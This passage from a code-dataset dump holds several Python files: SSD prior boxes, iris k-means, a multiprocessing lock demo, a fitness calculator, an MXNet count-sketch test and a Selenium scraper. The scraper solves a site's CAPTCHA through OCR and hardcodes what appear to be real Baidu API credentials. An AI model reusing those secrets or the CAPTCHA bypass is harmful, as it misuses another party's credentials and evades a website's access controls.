"attribute"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "jinja2.Environment", "line_number": 57, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 57, "usage_type": "call"}, {"api_name": "jinja2.StrictUndefined", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 66, "usage_type": "call"}, {"api_name": "ldap0.test.SlapdTestCase", "line_number": 75, "usage_type": "name"}, {"api_name": "aedir.AEDirObject", "line_number": 78, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 82, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 82, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 88, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 88, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 88, "usage_type": "attribute"}, {"api_name": "logging.WARN", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 112, "usage_type": "call"}]} {"seq_id": "439673372", "text": "# coding:utf-8\r\nfrom itertools import product\r\nfrom math import sqrt\r\nimport torch\r\ncoco = {\r\n 'num_classes': 81,\r\n 'lr_steps': (280000, 360000, 400000),\r\n 'max_iter': 400000,\r\n 'feature_maps': [38, 19, 10, 5, 3, 1],\r\n 'min_dim': 300,\r\n 'steps': [8, 16, 32, 64, 100, 300],\r\n 'min_sizes': [21, 45, 99, 153, 207, 261],\r\n 'max_sizes': [45, 99, 153, 207, 261, 315],\r\n 'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],\r\n 'variance': [0.1, 0.2],\r\n 'clip': True,\r\n 'name': 'COCO',\r\n}\r\n\r\nclass Priors_box(object):\r\n def __init__(self,cfg):\r\n super(Priors_box, self).__init__()\r\n self.feature_maps=cfg['feature_maps']\r\n self.image_size=cfg['min_dim']\r\n self.steps=cfg['steps']\r\n self.min_size=cfg['min_sizes']\r\n self.max_size=cfg['max_sizes']\r\n self.aspect_ratios=cfg['aspect_ratios']\r\n self.clip=cfg['clip']\r\n\r\n def forward(self):\r\n mean=[]\r\n for k,f in enumerate(self.feature_maps):\r\n # 建立坐标\r\n for i,j in product(range(f),repeat=2):\r\n # 尺寸映射到对应的feature mapsde size\r\n f_k=self.image_size/self.steps[k]\r\n # 确认默认盒的坐标\r\n center_x=(i+0.5)/f_k\r\n center_y=(j+0.5)/f_k\r\n s_k=self.min_size[k]/self.image_size\r\n #mean.append([center_x,center_y,s_k,s_k]) #最基础默认盒\r\n mean+=[center_x,center_y,s_k,s_k]\r\n s_k_prime = sqrt(s_k * (self.max_size[k] / self.image_size))\r\n #mean.append([center_x,center_y,s_k_prime,s_k_prime])\r\n mean+=[center_x,center_y,s_k_prime,s_k_prime]\r\n for ar in self.aspect_ratios[k]:\r\n mean += [center_x, center_y, s_k * sqrt(ar), s_k / sqrt(ar)]\r\n mean += [center_x, center_y, s_k / sqrt(ar), s_k * sqrt(ar)]\r\n\r\n output=torch.Tensor(mean).view(-1,4)\r\n if self.clip:\r\n output=torch.clamp(output,min=0,max=1)\r\n return output\r\n\r\nif __name__=='__main__':\r\n coco = {\r\n 'num_classes': 81,\r\n 'lr_steps': (280000, 360000, 400000),\r\n 'max_iter': 400000,\r\n 'feature_maps': [38, 19, 10, 5, 3, 1],\r\n 'min_dim': 300,\r\n 'steps': [8, 16, 32, 64, 100, 300],\r\n 'min_sizes': [21, 45, 99, 153, 207, 261],\r\n 'max_sizes': [45, 99, 153, 207, 261, 315],\r\n 'aspect_ratios': [[2], [2, 3], [2, 3], [2, 3], [2], [2]],\r\n 'variance': [0.1, 0.2],\r\n 'clip': True,\r\n 'name': 'COCO',\r\n }\r\n priors=Priors_box(coco).forward()\r\n print(priors)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "sub_path": "priors_box.py", "file_name": "priors_box.py", "file_ext": "py", "file_size_in_byte": 2665, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "itertools.product", "line_number": 35, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 48, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 53, "usage_type": "call"}]} {"seq_id": "13458854", "text": "from sklearn.cluster import KMeans\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import datasets\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\niris = datasets.load_iris()\r\n\r\nx=iris.data[:,:]\r\n\r\n\r\n#within cluster sum of squares\r\nwcss = []\r\n\r\nfor i in range(1, 11):\r\n kmeans = KMeans(n_clusters=i, init='k-means++', max_iter=300, n_init=10, random_state=0)\r\n kmeans.fit(x)\r\n wcss.append(kmeans.inertia_)\r\nplt.plot(range(1, 11), wcss)\r\nplt.title('Elbow Method')\r\nplt.xlabel('Number of clusters')\r\nplt.ylabel('WCSS')\r\nplt.show()\r\n\r\n#from Elbow method we identified n_clusters=3\r\n\r\n#K Means algorithem\r\nkmeans = KMeans(n_clusters=3, random_state=0) \r\nclosest_cluster_index = kmeans.fit_predict(x)\r\ncluster_centers=kmeans.cluster_centers_\r\n\r\n#kmeans.cluster_centers_ returns the coordinates of the centers of the clusters\r\n\r\ndf = pd.DataFrame(data = x, columns = ['Variable 1', 'Variable 2','Variable 3','Variable 4'])\r\n\r\nY=closest_cluster_index.reshape(150,1)\r\ndf_target = pd.DataFrame(data = Y,columns = ['Target'])\r\n\r\na1 = {0:'cluster_1',1:'cluster_2',2:'cluster_3'}\r\ndf_target['Target'] = df_target['Target'].map(a1)\r\n\r\n#Concat the varables and targets to a single table \r\nfinal_df = pd.concat([df,df_target], axis = 1)\r\n\r\n#Define the targer classes\r\ntargets = ['cluster_1','cluster_2','cluster_3']\r\n#Define the colurs of the target classes\r\ncolors = ['r', 'b', 'g']\r\n\r\n#creating a figure\r\nfig = plt.figure()\r\n#creating 3D subplot\r\nax = fig.add_subplot(111, projection='3d') \r\n\r\n#Label the axises in the plot\r\nax.set_xlabel('Variable 1')\r\nax.set_ylabel('Variable 2')\r\nax.set_zlabel('Variable 3')\r\n\r\n#Plot the values witth colurin the classes according to its colour index \r\nfor Target,color in zip(targets,colors):\r\n indicesToKeep = final_df['Target'] == Target\r\n ax.scatter(final_df.loc[indicesToKeep, 'Variable 1']\r\n , final_df.loc[indicesToKeep, 'Variable 2']\r\n , final_df.loc[indicesToKeep, 'Variable 3']\r\n , c = color\r\n )\r\n \r\nax.legend(targets)\r\nax.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1],kmeans.cluster_centers_[:,2],s=200,c='black',marker='*')\r\nplt.show()\r\n", "sub_path": "e15010lab5/exercise_clustering.py", "file_name": "exercise_clustering.py", "file_ext": "py", "file_size_in_byte": 2164, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 8, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}]} {"seq_id": "555888347", "text": "# -*- coding:utf-8 -*-\n__date__ = '2018/10/20 11:58'\n\nimport os\nimport multiprocessing\nfrom functools import partial\n\ndef target(iterable_item, lock):\n print(\"pid: {} numbers:{}\".format(os.getpid(), iterable_item))\n for item in range(iterable_item):\n print(\"item:\", item)\n\n if item == 3:\n print(os.getpid(), item)\n lock.acquire()\n print(\"lock_id:{}\".format(id(lock)), os.getpid(), item)\n\n lock.release()\n\ndef main():\n iterable = [1, 2, 3, 4, 5]\n pool = multiprocessing.Pool(10)\n m = multiprocessing.Manager()\n l = m.Lock()\n func = partial(target, lock=l)\n pool.map(func, iterable)\n pool.close()\n pool.join()\n\nif __name__ == \"__main__\":\n main()", "sub_path": "rem_code_181020/run_map_manager_lock.py", "file_name": "run_map_manager_lock.py", "file_ext": "py", "file_size_in_byte": 734, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.getpid", "line_number": 9, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 16, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 22, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 23, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 25, "usage_type": "call"}]} {"seq_id": "503874412", "text": "# Import datetime so that it can be\n# used to compute a person's age.\nfrom datetime import datetime\n\n\ndef main():\n # Get the user's gender, birthdate, height, and weight.\n gender = input(\"Please enter your gender (m/f) \").lower()\n birthday = input(\"Please enter your birthday (YYYY-MM-DD) \")\n height = int(input(\"Please enter your height (inches) \"))\n weight = int(input(\"Please enter your weight (pounds)\"))\n # Call the compute_age, kg_from_lb, cm_from_in, body_mass_index,\n # and basal_metabolic_rate functions as needed.\n\n years = compute_age(birthday)\n kilios = kg_from_lb(weight)\n cm_to_inch = cm_from_in(height)\n bmi = body_mass_index(kilios, cm_to_inch)\n bmr = basal_metabolic_rate(gender, kilios, cm_to_inch, years)\n\n # Print the results for the user to see.\n print(f\"Age: {years}\")\n print(f\"Weight (kg): {kilios:.2f}\")\n print(f'Height (cm): {cm_to_inch}')\n print(f'Body mass index: {bmi:.1f}')\n print(f'Basal metabolic rate (kcal/day): {bmr:.0f}')\n \n \n\n\ndef compute_age(birth):\n \"\"\"Compute and return a person's age in years.\n\n Parameter birth: a person's birthdate stored as\n a string in this format: YYYY-MM-DD\n Return: a person's age in years.\n \"\"\"\n birthday = datetime.strptime(birth, \"%Y-%m-%d\")\n today = datetime.now()\n\n # Compute the difference between today and the birthday in years.\n years = today.year - birthday.year\n\n # If necessary, subtract one from the difference.\n if birthday.month > today.month or \\\n (birthday.month == today.month and birthday.day > today.day):\n years -= 1\n\n return years\n\n\ndef kg_from_lb(lb):\n \"\"\"Convert a mass in pounds to kilograms.\n Parameter lb: a mass in US pounds.\n Return: the mass in kilograms.\n \"\"\"\n kilios = lb * 0.45359237\n\n return kilios\n\n\ndef cm_from_in(inch):\n \"\"\"Convert a length in inches to centimeters.\n Parameter inch: a length in inches.\n Return: the length in centimeters.\n \"\"\"\n cm_to_inch = inch * 2.54\n \n return cm_to_inch\n\n\ndef body_mass_index(weight, height):\n \"\"\"Calculate and return a person's body mass index (bmi).\n Parameters:\n weight must be in kilograms.\n height must be in centimeters.\n Return: a person's body mass index.\n \"\"\"\n bmi = (10000 * weight)/ height**2\n\n return bmi\n\n\ndef basal_metabolic_rate(gender, weight, height, age):\n \"\"\"Calculate and return a person's basal metabolic rate (bmr).\n Parameters:\n weight must be in kilograms.\n height must be in centimeters.\n age must be in years.\n Return: a person's basal metabolic rate in kcal per day.\n \"\"\"\n if gender == 'm':\n bmr = 88.362 + (13.397 * weight) + (4.799 * height) - (5.677 * age)\n return bmr\n elif gender == 'f':\n bmr = 447.593 + (9.247 * weight) + (3.098 * height) - (4.330 * age)\n return bmr\n else:\n print(\"Try again.\")\n\n# Call the main function so that\n# this program will start executing.\nmain()\n\n\n\n", "sub_path": "stuff I didn't organize/fitness.py", "file_name": "fitness.py", "file_ext": "py", "file_size_in_byte": 3012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}]} {"seq_id": "554906198", "text": "import sys\nimport os\ncurr_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__)))\nsys.path.insert(0, os.path.join(curr_path, '../unittest'))\nfrom test_operator import *\nimport mxnet as mx\nimport numpy as np\nfrom mxnet.test_utils import check_consistency, set_default_context\nfrom numpy.testing import assert_allclose\nimport time\n\nset_default_context(mx.gpu(0))\ndel test_support_vector_machine_l1_svm\ndel test_support_vector_machine_l2_svm\n\n\n'''\n##############################\nTensor sketching:\nGiven input x \\in R^n, h \\in R^n, \\in {1,...d}; s \\in R^n, \\in {+1, -1};\nOutput y \\in R^d = TS(x)\n y[h[i]] += s[i]x[i] i = 1,2,...n\n##############################\nTensor sketching of an outer product of two vectors:\nTS() = TS(x1) * TS(x2) = FFT^{-1}(FFT(TS(x1)) .\\times FFT(TS(x2)))\n##############################\nInput: feature matrices X1, X2 \\in R^{N \\times in_dim}, N: number of samples, in_dim: feature dimension, \n each row contains the two vectors of one outer product;\n index hash h \\in R^n; \n sign hash s \\in R^n;\n out_dim d\nOutput: Y \\in R^{N \\times d} = TS()\n \n'''\n\nN = 5\nH = 3\nW = 3\nin_dim = 20\nout_dim = 6\nassert(in_dim > out_dim)\n\nin_shape = (N, H,W,in_dim)\nhash_shape = (1, in_dim)\n\nX1 = np.random.uniform(-10, 10, in_shape)\nX2 = np.random.uniform(-10, 10, in_shape)\nh = np.random.randint(0, out_dim, hash_shape)\ns = np.random.randint(0, 2, hash_shape)*2-np.ones(hash_shape)\n\nshape = [in_shape, hash_shape, hash_shape]\n\n# TS(X1)\nprint('TS(X1):')\n\nsym = mx.sym.CountSketch(name='countsketch',out_dim = out_dim) \n\narr = [mx.nd.empty(shape[i]) for i in range(3)]\narr_grad = [mx.nd.empty(shape[i]) for i in range(3)]\narr[0][:] = X1 #input x\narr[1][:] = h #hash h\narr[2][:] = s #hash s\n\nexe = sym.bind(mx.gpu(0), arr, arr_grad)\nexe.forward(is_train=False)\noutput1 = exe.outputs[0].asnumpy()\n#print(output1)\nprint(output1.shape)\nprint('TS(X1) successed')\n\n# TS(X2)\nprint('TS(X2):')\nsym = mx.sym.CountSketch(name='countsketch',out_dim = out_dim) \n\narr = [mx.nd.empty(shape[i]) for i in range(3)]\narr_grad = [mx.nd.empty(shape[i]) for i in range(3)]\narr[0][:] = X2 #input x\narr[1][:] = h #hash h\narr[2][:] = s #hash s\n\nexe = sym.bind(mx.gpu(0), arr, arr_grad)\nexe.forward(is_train=False)\noutput2 = exe.outputs[0].asnumpy()\nprint('TS(X2) successed')\n\n\n\n\nassert(output1.shape == output2.shape)\nfft_shape = output1.shape\ngrad_req='write'\n\n# FFT(TS(X1)) \nsym = mx.sym.FFT(name='fft', compute_size = 128) \nctx_list = {'ctx': mx.gpu(0),'fft_data': fft_shape, 'type_dict': {'fft_data': np.float32}}\nexe = sym.simple_bind(grad_req=grad_req, **ctx_list)\n\nfor arr, iarr in zip(exe.arg_arrays, [output1]):\n arr[:] = iarr.astype(arr.dtype)\n\nexe.forward(is_train=False)\nfft_output1 = exe.outputs[0]\nprint('FFT(TS(X1)) successed')\nprint(fft_output1.asnumpy())\nprint(fft_output1.asnumpy().shape)\n\n# FFT(TS(X2)) \nsym = mx.sym.FFT(name='fft', compute_size = 128) \nctx_list = {'ctx': mx.gpu(0),'fft_data': fft_shape, 'type_dict': {'fft_data': np.float32}}\nexe = sym.simple_bind(grad_req=grad_req, **ctx_list)\n\nfor arr, iarr in zip(exe.arg_arrays, [output2]):\n arr[:] = iarr.astype(arr.dtype)\n \nexe.forward(is_train=False)\nfft_output2 = exe.outputs[0]\nprint('FFT(TS(X2)) successed')\n\n#Elementwise multiplication\na = mx.sym.Variable('a')\nb = mx.sym.Variable('b')\nc = a * b\n\ny = c.bind(default_context(), args={'a': fft_output1, 'b' : fft_output2})\ny.forward()\ntemp_Y = y.outputs[0].asnumpy()\n\nprint('elementwise multiplication successed')\n\n#print('temp_Y')\n#print(temp_Y)\n#assert(temp_Y.shape == (fft_shape[0],2*fft_shape[1]))\n# IFFT()\nifft_shape = temp_Y.shape\n\nsym = mx.sym.IFFT(name='ifft', compute_size = 128) \nctx_list = {'ctx': mx.gpu(0),'ifft_data': ifft_shape, 'type_dict': {'ifft_data': np.float32}}\nexe = sym.simple_bind(grad_req=grad_req, **ctx_list)\n\nfor arr, iarr in zip(exe.arg_arrays, [temp_Y]):\n arr[:] = iarr.astype(arr.dtype)\n \nexe.forward(is_train=False)\n#Y = exe.outputs[0].asnumpy()/fft_shape[1]\nY = exe.outputs[0].asnumpy()\n#print('Y')\nprint(Y)\nprint(Y.shape)\nprint('IFFT successed')\n", "sub_path": "tests/python/gpu/test_tensorsketching.py", "file_name": "test_tensorsketching.py", "file_ext": "py", "file_size_in_byte": 4244, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "mxnet.test_utils.set_default_context", "line_number": 12, "usage_type": "call"}, {"api_name": "mxnet.gpu", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 49, "usage_type": "call"}, {"api_name": "mxnet.sym.CountSketch", "line_number": 56, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 56, "usage_type": "attribute"}, {"api_name": "mxnet.nd.empty", "line_number": 58, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 58, "usage_type": "attribute"}, {"api_name": "mxnet.nd.empty", "line_number": 59, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 59, "usage_type": "attribute"}, {"api_name": "mxnet.gpu", "line_number": 64, "usage_type": "call"}, {"api_name": "mxnet.sym.CountSketch", "line_number": 73, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 73, "usage_type": "attribute"}, {"api_name": "mxnet.nd.empty", "line_number": 75, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 75, "usage_type": "attribute"}, {"api_name": "mxnet.nd.empty", "line_number": 76, "usage_type": "call"}, {"api_name": "mxnet.nd", "line_number": 76, "usage_type": "attribute"}, {"api_name": "mxnet.gpu", "line_number": 81, "usage_type": "call"}, {"api_name": "mxnet.sym.FFT", "line_number": 94, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 94, "usage_type": "attribute"}, {"api_name": "mxnet.gpu", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 95, "usage_type": "attribute"}, {"api_name": "mxnet.sym.FFT", "line_number": 108, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 108, "usage_type": "attribute"}, {"api_name": "mxnet.gpu", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 109, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Variable", "line_number": 120, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 120, "usage_type": "attribute"}, {"api_name": "mxnet.sym.Variable", "line_number": 121, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 121, "usage_type": "attribute"}, {"api_name": "mxnet.sym.IFFT", "line_number": 136, "usage_type": "call"}, {"api_name": "mxnet.sym", "line_number": 136, "usage_type": "attribute"}, {"api_name": "mxnet.gpu", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 137, "usage_type": "attribute"}]} {"seq_id": "572783676", "text": "import time\r\nimport requests,os,urllib.request\r\nimport json\r\nimport re\r\nimport csv\r\nimport sys\r\nimport base64\r\nfrom retrying import retry\r\nfrom lxml import etree\r\nfrom time import sleep\r\nimport urllib3\r\nimport pandas as pd\r\nfrom aip import AipOcr\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\n\r\n# from SpiderTools.tool import SpiderException,ResponseHTML, wash_url\r\n\r\n# from SpiderTools.chrome_ip import create_proxyauth_extension\r\n# from SpidersLog.icrwler_log import ICrawlerLog\r\n# from proxy_ip import get_ip\r\n\r\n\r\nclass ChromeGetResponse(object):\r\n\r\n from selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\n\r\n d = DesiredCapabilities.CHROME\r\n d['loggingPrefs'] = {'performance': 'ALL'}\r\n\r\n def __init__(self, ):\r\n # 浏览器初始化\r\n option = webdriver.ChromeOptions()\r\n option.add_argument(\"--start-maximized\")\r\n # 暂时不用代理\r\n option.add_argument('--headless')\r\n option.add_argument('--disable-gpu') # 禁用 GPU 硬件加速，防止出现bug\r\n # 禁止图片加载\r\n # prefs = {\"profile.managed_default_content_settings.images\": 2}\r\n # option.add_experimental_option(\"prefs\", prefs)\r\n option.add_argument('user-agent=\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36\"')\r\n # self.proxy = get_ip(False)\r\n # self.proxy = '49.68.187.125:4243'\r\n # print(self.proxy)\r\n\r\n # 设置代理方式一：\r\n # option.add_argument('--proxy-server=http://{}'.format(self.proxy))\r\n # /home/spiderjob/domain/tools/chromedriver\r\n # self.browser = webdriver.Chrome(executable_path=\"/usr/local/bin/chromedriver\", chrome_options=option) # 创建实例\r\n # self.browser = webdriver.Chrome(executable_path=\"/home/spiderjob/domain/tools/chromedriver\", chrome_options=option) # 创建实例\r\n # self.browser = webdriver.Chrome(executable_path=r\"C:\\Users\\lyial\\Desktop\\coffee\\venv/chromedriver\", chrome_options=option) # 创建实例\r\n self.browser = webdriver.Chrome( chrome_options=option) # 创建实例\r\n\r\n # 设置代理方式二：\r\n # proxyauth_plugin_path = create_proxyauth_extension(\r\n # proxy_host=\"XXXXX.com\",\r\n # proxy_port=9020,\r\n # proxy_username=\"XXXXXXX\",\r\n # proxy_password=\"XXXXXXX\"\r\n # )\r\n # option.add_extension(proxyauth_plugin_path) # 设置代理\r\n # self.browser = webdriver.Chrome(chrome_options=option)\r\n self.wait = WebDriverWait(self.browser, 60)\r\n # self.wait = wait.WebDriverWait(self.browser, 60)\r\n # self.browser.get('https://www.baidu.com/?tn=22073068_3_oem_dg')\r\n # self.browser.get('https://per.spdb.com.cn')\r\n\r\n def read_image(self,path):\r\n \"\"\" APP_ID API_KEY SECRET_KEY，\"\"\"\r\n APP_ID = '16776610'\r\n API_KEY = 'LjOdMkuUHsHwb2YH89IGHiRL'\r\n SECRET_KEY = 'xns1EfjMD3uaNoSo9pqggFbfLS6FfIwW'\r\n client = AipOcr(APP_ID, API_KEY, SECRET_KEY)\r\n pic = open(path, 'rb')\r\n # 读取图片\r\n pic_text = pic.read()\r\n # 通用字识别\r\n message = client.basicGeneral(pic_text)\r\n code_image = message.get('words_result')[0].get(\"words\")\r\n return code_image\r\n\r\n # 保存验证码图片\r\n def save_image(self,image_data, dir_path):\r\n image_data = base64.b64decode(image_data) # 生成验证码\r\n with open(os.path.join(dir_path, \"code.jpg\"), 'wb')as f:\r\n f.write(image_data)\r\n\r\n #判断是否加载异常\r\n def driver_error(self,driver):\r\n num =0\r\n while num < 5:\r\n if \"An error occurred\" in driver.page_source or \"500 Internal Server Error\" in driver.page_source:\r\n driver.refresh()\r\n num += 1\r\n sleep(5)\r\n else:\r\n return True\r\n\r\n def run_request(self, url, code_='0', page='0'):\r\n '''\r\n 下载网页, 只要返回HTTPResponse就不再执行其他下载中间件\r\n :param request: scrapy整合的全局参数\r\n :param spider: spiders里的爬虫对象\r\n :return:\r\n '''\r\n # log_script = ICrawlerLog(name='spider').save\r\n # 新打开一个标签页, 访问新网址, 跳到当前页, 获取数据, 关闭当前页面, 回到原始页\r\n try:\r\n # view_url = wash_url(url)\r\n view_url = url\r\n # 访问目标网页\r\n js = 'window.open(\"{}\");'.format(view_url)\r\n # time.sleep(2)\r\n self.browser.execute_script(js)\r\n\r\n handles = self.browser.window_handles\r\n if len(handles) > 4:\r\n raise Exception('网络错误, 请重启')\r\n # log_script.error('浏览器请求异常,请检查网络')\r\n # raise SpiderException('网络错误, 请重启')\r\n\r\n # for handle in handles: # 切换窗口\r\n # if handle != self.browser.current_window_handle:\r\n # self.browser.switch_to_window(handle)\r\n # break\r\n self.browser.implicitly_wait(3)\r\n self.browser.switch_to_window(self.browser.window_handles[-1])\r\n\r\n if self.driver_error(self.browser):\r\n num = 0\r\n while num < 5:\r\n if \"请输入验证码后继续访问\" in self.browser.page_source: # 验证码\r\n num += 1\r\n html_obj = etree.HTML(self.browser.page_source)\r\n yzm_src = html_obj.xpath('/html/body/div/div[2]/table/tbody/tr[1]/td[3]/img/@src')[0]\r\n image_data = yzm_src.split(',')[1]\r\n dir_path = os.path.abspath(os.path.abspath(os.path.join(os.getcwd(), \"image\")))\r\n self.save_image(image_data, dir_path)\r\n image_path = os.path.join(dir_path, \"code.jpg\")\r\n yzm_word = self.read_image(image_path) # 识别验证码图片\r\n os.remove(image_path) # 删除图片\r\n self.browser.find_element_by_id('intext').clear()\r\n self.browser.find_element_by_id('intext').send_keys(yzm_word) # 输入验证码\r\n self.browser.find_element_by_xpath('/html/body/div/div[2]/table/tbody/tr[2]/td/input').click()\r\n sleep(5)\r\n # elif self.driver_error(self.browser):\r\n # self.browser.find_element_by_id('TAB_QueryConditionItem270').click() # 签订日期\r\n # sleep(5)\r\n else:\r\n break\r\n # return self.browser\r\n\r\n # 获取cookies\r\n target_cookie = {}\r\n cookies = self.browser.get_cookies()\r\n for cookie in cookies:\r\n target_cookie[cookie[\"name\"]] = cookie[\"value\"]\r\n\r\n # 获取url\r\n html_url = self.browser.current_url\r\n # 获取response\r\n response_result = self.browser.page_source\r\n self.browser.close()\r\n self.browser.quit()\r\n s = ''\r\n for k,v in target_cookie.items():\r\n s += f'{k}={v};'\r\n return s\r\n # return target_cookie\r\n except Exception as e:\r\n # self.run_request(url)\r\n if len(handles) > 4:\r\n # log_script.error('浏览器请求异常,请检查网络')\r\n # raise SpiderException('网络错误, 请重启')\r\n raise Exception('网络错误, 请重启')\r\n # log_script.error('响应超时')\r\n\r\n\r\nif __name__ == '__main__':\r\n target_cookie = ChromeGetResponse().run_request('http://www.landchina.com/default.aspx?tabid=261')\r\n print(target_cookie)\r\n\r\n", "sub_path": "LandChinaBot-gdjh/selenium_chrome.py", "file_name": "selenium_chrome.py", "file_ext": "py", "file_size_in_byte": 7951, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities.CHROME", "line_number": 28, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities", "line_number": 28, "usage_type": "name"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 33, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 33, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 52, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 52, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 63, 